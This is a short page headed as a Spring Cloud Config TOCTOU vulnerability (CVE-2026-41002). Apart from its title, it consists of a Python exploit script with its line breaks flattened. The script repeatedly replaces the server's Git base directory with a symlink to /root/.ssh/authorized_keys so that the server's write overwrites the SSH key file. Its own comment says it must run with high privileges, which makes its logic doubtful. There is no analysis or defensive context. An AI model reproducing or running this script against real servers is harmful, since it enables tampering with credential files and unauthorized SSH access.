CVE-2026-41002 Spring Cloud Config TOCTOU漏洞

import os import time # Target directory configured in spring.cloud.config.server.git.basedir TARGET_DIR = "/path/to/spring-cloud-config/basedir" # Sensitive file to overwrite (e.g., ssh authorized keys) TARGET_FILE = "/root/.ssh/authorized_keys" def exploit_toctou(): print("[+] Starting TOCTOU exploit...") while True: try: # Check if the directory exists (Server might have just created it) if os.path.exists(TARGET_DIR): # Remove the directory os.rmdir(TARGET_DIR) # Replace it with a symlink to a sensitive file os.symlink(TARGET_FILE, TARGET_DIR) print(f"[+] Directory replaced with symlink to {TARGET_FILE}") # Sleep briefly to allow the write operation to occur time.sleep(0.1) # Cleanup/Reset for the next attempt cycle if os.path.islink(TARGET_DIR): os.unlink(TARGET_DIR) except Exception as e: # Handle race conditions where state changes between checks continue if __name__ == "__main__": # Note: This script must be run with high privileges locally on the target server # concurrently with a Git clone operation triggered in the application. exploit_toctou()